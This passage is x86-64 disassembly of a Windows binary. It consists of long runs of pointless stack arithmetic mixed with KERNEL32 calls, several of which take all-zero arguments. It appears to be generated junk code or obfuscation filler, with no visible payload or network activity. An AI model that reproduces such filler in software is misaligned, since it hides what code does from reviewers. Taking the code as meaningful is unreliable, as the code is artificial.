mov byte [rsp + 0x13d], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xa6f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe18], ax
mov rax, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0xb360]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb2a8], rax
lea rax, [rsp + 0x4878]
mov qword [rsp + 0xb6c0], rax
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xac38]
shl rax, cl
mov qword [rsp + 0xa1e0], rax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9120]
mov eax, dword [rax]
mov dword [rsp + 0x49ac], eax
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x11b]
xor eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0x99a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb220]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e607a], al
lea rcx, [rsp + 0x256b0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x472c], eax
movzx eax, word [0x1401e6044]
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0x9240]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc2]
sub eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0xb210]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e68]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb78], ax
lea rax, [0x1401e6008]
mov qword [rsp + 0xb6c8], rax
mov rax, qword [rsp + 0xa860]
mov ecx, dword [rsp + 0x4584]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44f0], eax
lea rax, [rsp + 0xb2f0]
mov qword [rsp + 0xb6d0], rax
mov rax, qword [rsp + 0xab10]
mov rcx, qword [rsp + 0xa1b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44bc], eax
mov rax, qword [rsp + 0xa3c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa008]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x62], al
mov ecx, DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4308], eax
mov rax, qword [rsp + 0x9208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
sub eax, ecx
mov rcx, qword [0x1401e7690]
mov byte [rcx], al
lea rax, [rsp + 0xe74]
mov qword [rsp + 0xb6d8], rax
mov r9d, 2
lea r8, [rsp + 0xa440]
mov rdx, qword [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xa9b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0xab00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9430]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaea0]
mov word [rcx], ax
lea rax, [rsp + 0xc34]
mov qword [rsp + 0xb6e8], rax
mov edx, 0x1e155b
mov rcx, qword [rsp + 0x9978]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4234], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4550], eax
mov rax, qword [rsp + 0xaf38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xad50]
mov ecx, dword [rsp + 0x4884]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45dc], eax
lea rax, [rsp + 0x8dd8]
mov qword [rsp + 0xb6f0], rax
mov rax, qword [rsp + 0xade8]
mov ecx, dword [0x1401e6018]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x45e4], eax
mov rax, qword [rsp + 0xa9d0]
mov rax, qword [rax]
mov qword [rsp + 0xb6f8], rax
mov rax, qword [rsp + 0x96d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e607b], al
mov dword [rsp + 0x20], 0x11ca
mov r9d, 0xaa2
mov r8d, 0xada
mov edx, 0x2a65
mov rcx, qword [rsp + 0xaaa8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x48cc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x49b0], eax
movzx eax, word [0x1401e609c]
cdq
mov ecx, 0xef0
idiv ecx
mov word [rsp + 0xb78], ax
mov r9d, 2
lea r8, [rsp + 0x96e0]
mov rdx, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0xad60]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49a8], eax
movzx eax, word [rsp + 0xff0]
mov word [rsp + 0x100c], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xb700], rax
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [0x1401e74d0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9d68]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9818]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xbd0], ax
mov rax, qword [rsp + 0x9658]
mov eax, dword [rax]
mov dword [rsp + 0x49b4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [0x1401e6008]
mov rcx, qword [rsp + 0x9800]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8da0], rax
lea rdx, [rsp + 0xb708]
mov rcx, qword [rsp + 0x9768]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4664], eax
mov rax, qword [rsp + 0xb188]
mov eax, dword [rax]
mov dword [rsp + 0x49b8], eax
mov rax, qword [rsp + 0x9c88]
mov rcx, qword [rsp + 0x9e88]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9ca0], rax
lea rcx, [rsp + 0x2a1c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x47dc], eax
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0xd20]
add eax, ecx
mov word [0x1401e7494], ax
mov rax, qword [rsp + 0x9e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9960]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x113], al
movzx ecx, word [rsp + 0xd34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf18], ax
mov dword [rsp + 0x2a6c0], 0x94
mov rax, qword [rsp + 0xaf10]
movzx eax, word [rax]
mov word [rsp + 0x1010], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa410], rax
mov rax, qword [rsp + 0xaf20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa4b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0xb218]
movzx eax, word [rax]
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0xa290]
mov rcx, qword [rsp + 0xb158]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3d8], rax
mov rax, qword [rsp + 0x9068]
mov ecx, dword [rsp + 0x446c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47fc], eax
mov rax, qword [rsp + 0xb088]
mov rax, qword [rax]
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0xb478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa320]
mov dword [rcx], eax
lea rax, [0x1401e741b]
mov qword [0x1401e7848], rax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0xb718], rax
mov rax, qword [rsp + 0xb450]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ca8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
mov rcx, qword [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4580], eax
lea rcx, [rsp + 0xb720]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0xff8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0x9cc0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e746a]
add eax, ecx
mov byte [rsp + 0x11e], al
lea rax, [rsp + 0xf80]
mov qword [rsp + 0xb728], rax
mov rcx, qword [rsp + 0x9c80]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4638], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa0d0]
mov rcx, qword [rsp + 0x9658]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45dc], eax
lea rax, [rsp + 0xb328]
mov qword [rsp + 0xb730], rax
mov rax, qword [rsp + 0xb410]
mov rcx, qword [rsp + 0xa1f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9708], rax
lea rax, [rsp + 0x4780]
mov qword [rsp + 0xb738], rax
movzx eax, byte [rsp + 0x125]
movzx ecx, byte [0x1401e6007]
sub eax, ecx
mov rcx, qword [0x1401e7600]
mov byte [rcx], al
mov rax, qword [rsp + 0xa240]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8e]
xor eax, ecx
mov byte [rsp + 0xf3], al
mov rax, qword [rsp + 0xb148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf90], ax
lea rax, [rsp + 0xb68]
mov qword [rsp + 0xb740], rax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0xb180]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe5], al
lea rax, [rsp + 0xb2f0]
mov qword [rsp + 0xb748], rax
mov rax, qword [rsp + 0xab10]
mov rcx, qword [rsp + 0xaf28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x455c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0xa7c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x44cc], eax
mov rax, qword [rsp + 0xa870]
mov qword [rsp + 0xb750], rax
lea rax, [rsp + 0xd2c]
mov qword [0x1401e7850], rax
movzx eax, word [rsp + 0xc18]
imul eax, eax, 0x251
mov word [rsp + 0xe58], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa3b0], rax
mov dword [rsp + 0x20], 0x1d88
mov r9d, 0x1454
mov r8d, 0x45c
mov edx, 0x314b
mov rcx, qword [rsp + 0xae48]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x481c], eax
lea rax, [rsp + 0x99]
mov qword [rsp + 0xb758], rax
mov dword [rsp + 0x2a760], 0x94
mov rax, qword [rsp + 0xa7e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaa70]
mov word [rcx], ax
mov rax, qword [0x1401e7720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9fc0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92a0]
mov word [rcx], ax
lea rax, [rsp + 0x8c98]
mov qword [rsp + 0xb760], rax
mov rax, qword [rsp + 0xaf70]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xaf70]
mov dword [rcx], eax
lea rax, [rsp + 0x96d8]
mov qword [rsp + 0xb768], rax
mov rax, qword [rsp + 0xa7f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4598]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4520], eax
movsx eax, byte [rsp + 0xba]
movsx ecx, byte [0x1401e606a]
add eax, ecx
mov byte [0x1401e601d], al
movsx eax, word [rsp + 0xd00]
movsx ecx, word [rsp + 0xf1c]
sub eax, ecx
mov word [rsp + 0xbc8], ax
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x13e], al
movsx eax, byte [rsp + 0x109]
movsx ecx, byte [rsp + 0xb6]
add eax, ecx
mov byte [rsp + 0x129], al
movzx eax, byte [rsp + 0x10b]
mov byte [rsp + 0x13f], al
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa5e0]
mov rcx, qword [rsp + 0x9298]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa890], rax
lea rax, [rsp + 0x4938]
mov qword [rsp + 0xb770], rax
mov rax, qword [rsp + 0xae98]
mov rcx, qword [rsp + 0x9e88]
mov qword [rsp + 0xb778], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb778]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9a60], rax
mov eax, dword [rsp + 0x4228]
mov ecx, dword [rsp + 0x4528]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
lea rax, [0x1401e6038]
mov qword [0x1401e7858], rax
mov rax, qword [rsp + 0x9440]
movzx eax, word [rax]
mov word [rsp + 0x1018], ax
movsx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0xb108]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0x123]
mov byte [rsp + 0x140], al
mov rax, qword [0x1401e74e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf5c]
shl eax, cl
mov rcx, qword [rsp + 0xa768]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xb710]
mov rcx, qword [rsp + 0x9fa0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb748]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f90]
mov eax, dword [rax]
mov dword [rsp + 0x49bc], eax
mov rax, qword [rsp + 0xb128]
mov rcx, qword [rsp + 0xa680]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9520], rax
mov rax, qword [rsp + 0x9f18]
mov eax, dword [rax]
mov dword [rsp + 0x49c0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb528], rax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
sub eax, ecx
mov rcx, qword [rsp + 0x9d20]
mov byte [rcx], al
movzx eax, word [0x1401e6034]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7558]
mov word [rcx], ax
lea rcx, [rsp + 0x2a4e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x49c4], eax
mov rax, qword [rsp + 0xb0f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa038]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf20]
mov byte [rcx], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rax, [0x1401e7580]
mov qword [rsp + 0xb780], rax
mov rax, qword [rsp + 0x9240]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x128]
and eax, ecx
mov byte [rsp + 0xe0], al
lea rax, [rsp + 0x467c]
mov qword [rsp + 0xb788], rax
mov rax, qword [rsp + 0xb330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa510]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb290], rax
mov dword [rsp + 0x20], 0x9b8
mov r9d, 0x24e0
mov r8d, 0x37b4
mov edx, 0x1b31
mov rcx, qword [rsp + 0xa030]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4308], eax
lea rax, [rsp + 0xa4d8]
mov qword [rsp + 0xb790], rax
mov rax, qword [rsp + 0x9f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x459c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb018]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0f0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e601c]
add eax, ecx
mov byte [rsp + 0xdc], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:CuppedAnise
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb798], rax
lea rax, [rsp + 0x1000]
mov qword [0x1401e7860], rax
mov rcx, qword [rsp + 0xb1d8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4558], eax
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0xb7a0], rax
mov rax, qword [rsp + 0x9820]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb418]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb658]
mov byte [rcx], al
lea rax, [0x1401e60b8]
mov qword [rsp + 0xb7a8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4558], eax
mov eax, dword [rsp + 0x4728]
mov ecx, dword [rsp + 0x47a4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9878]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xb088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabe0]
mov qword [rsp + 0xb7b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb7b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa2b8], rax
lea rax, [rsp + 0x490c]
mov qword [rsp + 0xb7b8], rax
mov rax, qword [rsp + 0xab90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x92a8]
shr rax, cl
mov rcx, qword [rsp + 0xb768]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xb7c0], rax
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x141], al
mov rax, qword [rsp + 0xa7e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401e77a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa6b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa650]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xda8], ax
movsx eax, word [rsp + 0xc88]
movsx ecx, word [0x1401e77c8]
and eax, ecx
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x9de8]
movzx eax, byte [rax]
mov byte [rsp + 0x142], al
mov rax, qword [rsp + 0xb5d8]
mov rcx, qword [rsp + 0x9590]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb498], rax
mov rax, qword [rsp + 0x9458]
mov eax, dword [rax]
mov dword [rsp + 0x49c8], eax
mov eax, dword [rsp + 0x4708]
mov ecx, dword [rsp + 0x494c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4698], eax
mov rax, qword [rsp + 0x9c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaac0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9610], rax
movzx eax, byte [0x1401e6062]
mov byte [rsp + 0x143], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4560], eax
movzx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x99a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e7750]
mov byte [rcx], al
mov rax, qword [rsp + 0xab28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
sub eax, ecx
mov rcx, qword [rsp + 0x9818]
mov word [rcx], ax
lea rax, [0x1401e60b0]
mov qword [rsp + 0xb7c8], rax
lea rdx, [rsp + 0x4774]
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4988], eax
mov rax, qword [rsp + 0x9888]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x99a0]
movzx eax, byte [rax]
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0xa4f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4488]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43c4], eax
mov rax, qword [rsp + 0xa858]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb598], rax
lea rax, [rsp + 0x4688]
mov qword [rsp + 0xb7d0], rax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0xab90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9f88], rax
lea rax, [rsp + 0x69]
mov qword [0x1401e7868], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xb7d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rax, [rsp + 0xc18]
mov qword [rsp + 0xb7e0], rax
movsx eax, word [rsp + 0xd54]
mov rcx, qword [rsp + 0xa280]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb6a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa630]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xafb8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9fc0]
movzx eax, word [rax]
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0xb0b0]
mov rcx, qword [rsp + 0x8f88]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9680], rax
mov rax, qword [rsp + 0x98b8]
mov eax, dword [rax]
mov dword [rsp + 0x49cc], eax
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44c8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4424], eax
mov rax, qword [rsp + 0x95e0]
mov rcx, qword [rsp + 0xa938]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
lea rax, [rsp + 0xbb0]
mov qword [0x1401e7870], rax
mov rax, qword [rsp + 0xafb8]
movzx eax, byte [rax]
mov byte [rsp + 0x145], al
mov rax, qword [rsp + 0x9918]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb758]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xce], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movzx eax, byte [0x1401e7492]
mov byte [rsp + 0x146], al
mov rax, qword [rsp + 0xb600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe3c]
add eax, ecx
mov word [rsp + 0xc28], ax
lea rax, [rsp + 0x44d0]
mov qword [rsp + 0xb7e8], rax
lea rdx, [rsp + 0xb7f0]
mov rcx, qword [rsp + 0x9238]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x482c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [0x1401e6020]
mov rcx, qword [rsp + 0x9880]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9520], rax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x452c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2e0]
mov dword [rcx], eax
lea rax, [rsp + 0xa390]
mov qword [rsp + 0xb7f8], rax
mov rax, qword [rsp + 0x9570]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc3c]
sub eax, ecx
mov word [0x1401e603c], ax
mov rax, qword [rsp + 0xb530]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0xad20]
movzx eax, byte [rax]
mov byte [rsp + 0x147], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rdx, [rsp + 0xacf0]
mov rcx, qword [rsp + 0xae90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49d0], eax
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4350], eax
mov rax, qword [0x1401e7670]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb2d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc3c], ax
lea rcx, [rsp + 0x26a28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0xef4]
movzx ecx, word [rsp + 0xdac]
sub eax, ecx
mov rcx, qword [rsp + 0xb660]
mov word [rcx], ax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0xb800], rax
mov rax, qword [rsp + 0x9ec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa48]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb448], rax
mov eax, dword [rsp + 0x4834]
mov dword [rsp + 0x49d4], eax
mov eax, dword [rsp + 0x47bc]
movzx ecx, al
mov eax, dword [rsp + 0x47e8]
sar eax, cl
mov rcx, qword [rsp + 0x90f0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xb808], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x45cc], eax
movzx eax, word [0x1401e76f0]
mov word [0x1401e7878], ax
mov rax, qword [rsp + 0xadc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa2]
shl eax, cl
mov byte [rsp + 0x8a], al
lea rax, [rsp + 0x1010]
mov qword [rsp + 0xb810], rax
mov r9d, 0x1a67
xor r8d, r8d
lea rdx, [rsp + 0xb398]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4684], eax
mov rax, qword [0x1401e76a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa188]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x107]
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0xab90]
mov rcx, qword [rsp + 0x9538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb5b0], rax
mov r9d, 2
lea r8, [rsp + 0xa600]
mov rdx, qword [rsp + 0xa440]
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49d8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [rsp + 0xb018]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9fe8]
